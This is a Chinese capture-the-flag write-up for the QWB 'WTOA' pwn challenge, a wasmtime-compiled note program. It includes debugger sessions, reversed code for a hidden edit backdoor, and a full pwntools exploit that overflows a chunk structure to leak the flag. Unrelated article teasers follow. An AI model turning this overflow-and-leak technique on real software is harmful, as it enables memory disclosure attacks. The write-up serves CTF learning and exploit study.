news 2026/6/10 12:17:28

第七届强网杯-PWN-【WTOA】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【WTOA】

文章目录

    • 参考
    • WebAssembly
    • Wasmtime
    • 调试
    • 逆向源码
    • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过--allow-precompiled来运行

./wasmtime run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtimesetargs run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg>search flag{Searchingforvalue:'flag{'[heap]0x555556fac865'flag{zhiyinnitaimei}@'[heap]0x555556fc91c0'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2b40'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2c6d'flag{zhiyinnitaimei}'[stack]0x7fffffffe19b'flag{zhiyinnitaimei}'pwndbg>search aaaaaaaa Searchingforvalue:'aaaaaaaa'[anon_7ffe77bb3]0x7ffe780b2cc0'aaaaaaaa'pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2c6d 0x53 does not belong to a mapped pageinmemory pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2b40 0x180 does not belong to a mapped pageinmemory pwndbg>

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

0x7ffff7bfc000 0x7ffff7c08000 r-xp c0001000/home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

0x7ffff7bfd337 call 0x7ffff7bfeef0<0x7ffff7bfeef0>► 0x7ffff7bfd33c movsx r8, byte ptr[rbx + r15 + 0x10]R8,[0x7ffe780b2b20]=>0x41 0x7ffff7bfd342addr8d,-0x41R8D=>0(0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20 0x7ffe780b2b20:"Ad"0x7ffe780b2b23:""0x7ffe780b2b24:""0x7ffe780b2b25:""0x7ffe780b2b26:""0x7ffe780b2b27:""0x7ffe780b2b28:""0x7ffe780b2b29:""0x7ffe780b2b2a:""0x7ffe780b2b2b:""0x7ffe780b2b2c:""0x7ffe780b2b2d:""0x7ffe780b2b2e:""0x7ffe780b2b2f:""0x7ffe780b2b30:""0x7ffe780b2b31:""0x7ffe780b2b32:""0x7ffe780b2b33:""0x7ffe780b2b34:""0x7ffe780b2b35:""0x7ffe780b2b36:""0x7ffe780b2b37:""0x7ffe780b2b38:""0x7ffe780b2b39:""0x7ffe780b2b3a:""0x7ffe780b2b3b:""0x7ffe780b2b3c:"m\034P"0x7ffe780b2b40:"flag{zhiyinnitaimei}"0x7ffe780b2b55:""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

print(v6, v6, 0x46FLL, 0LL);// size .rodata.wasm:000000000001B46F aSize db'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下

可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

getinput(a1,a1,0LL,v20-48,31);len=set_to_chunk(a1,a1,v20-48);*(base+v4+36)=len;if(len==0x345231){if(*(base+4016)==1){v14=*(base+v4+44);*(base+v4+4)=*(base+v4+40);*(base+v4)=v14;print(a1,a1,0x4DELL,(v20-96));// content for note[%lu] with offset [%lu] >save(a1,a1,*(v19+40)+*(base+*(base+(*(base+*(v19+92)+4)+4**(base+v4+44)))),48);*(base+4016)=0;gotoLABEL_15;}v13=base+v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行

发现开了随机话后偏移不变,改为flag的偏移即可

exp

frompwnimport*context(os="linux",arch="amd64",log_level="debug")p=process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)pause()p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E"))p.sendlineafter(b"index > ",str("0"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("3428913"))p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S"))p.sendlineafter(b"index > ",str("1"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")flag=p.recv(timeout=2)print(flag)p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 14:10:26

GLM-TTS能否用于火星基地模拟?稀薄大气中语音传播修正

GLM-TTS能否用于火星基地模拟&#xff1f;稀薄大气中语音传播修正 在未来的火星基地设想中&#xff0c;人类将长期处于封闭、高压舱室环境&#xff0c;与地球的通信延迟可达20分钟以上。在这种极端条件下&#xff0c;人机交互系统不仅是操作工具&#xff0c;更是心理支持和团队…

作者头像 李华
网站建设 2026/6/10 10:52:43

语音合成领域新星GLM-TTS vs 其他主流TTS模型横向测评

GLM-TTS&#xff1a;中文语音合成的新范式 在智能音箱、有声书平台和虚拟数字人日益普及的今天&#xff0c;用户对语音合成的要求早已超越“能听清”&#xff0c;转向“像真人”“有情感”“读得准”。传统的TTS系统虽然在清晰度上表现不俗&#xff0c;但在音色还原、多音字处理…

作者头像 李华
网站建设 2026/6/10 10:59:18

拉莫三嗪-N2-葡萄糖醛酸:精准药物代谢研究与监测的关键代谢物 133310-19-7

拉莫三嗪-N2-葡萄糖醛酸 (Lamotrigine N2-Glucuronide) 是抗癫痫一线药物拉莫三嗪在人体内经葡萄糖醛酸化代谢所生成的主要无活性代谢产物。作为药物代谢研究与治疗药物监测领域的标准物质&#xff0c;该化合物对于理解拉莫三嗪的体内清除过程、评估个体间代谢差异以及探索潜在…

作者头像 李华
网站建设 2026/6/10 10:57:15

如何为GLM-TTS添加新的方言发音词典?自定义G2P映射教程

如何为 GLM-TTS 添加新的方言发音词典&#xff1f;自定义 G2P 映射实战指南 在虚拟主播越来越“接地气”的今天&#xff0c;一句地道的“得闲饮茶”可能比标准普通话更能打动广东用户。而对四川用户来说&#xff0c;“巴适得板”如果被读成“bā sh d bǎn”&#xff0c;那股烟…

作者头像 李华
网站建设 2026/6/10 10:56:40

语音合成与智能手表结合:微型设备触发云端TTS服务

语音合成与智能手表结合&#xff1a;微型设备触发云端TTS服务 在可穿戴设备日益普及的今天&#xff0c;用户不再满足于“能用”的基础功能&#xff0c;而是期待更自然、更个性化的交互体验。想象这样一个场景&#xff1a;你的智能手表轻轻震动&#xff0c;随后传来你母亲熟悉的…

作者头像 李华
网站建设 2026/6/9 23:42:31

GLM-TTS能否用于南极科考站?极夜期间语音心理干预

GLM-TTS能否用于南极科考站&#xff1f;极夜期间语音心理干预 在地球最南端的科考站里&#xff0c;连续数月不见阳光。没有昼夜交替&#xff0c;没有亲友在侧&#xff0c;只有风雪拍打舱壁的声音和仪器低沉的嗡鸣。长期驻守的科研人员在这种极端环境中&#xff0c;极易陷入情绪…

作者头像 李华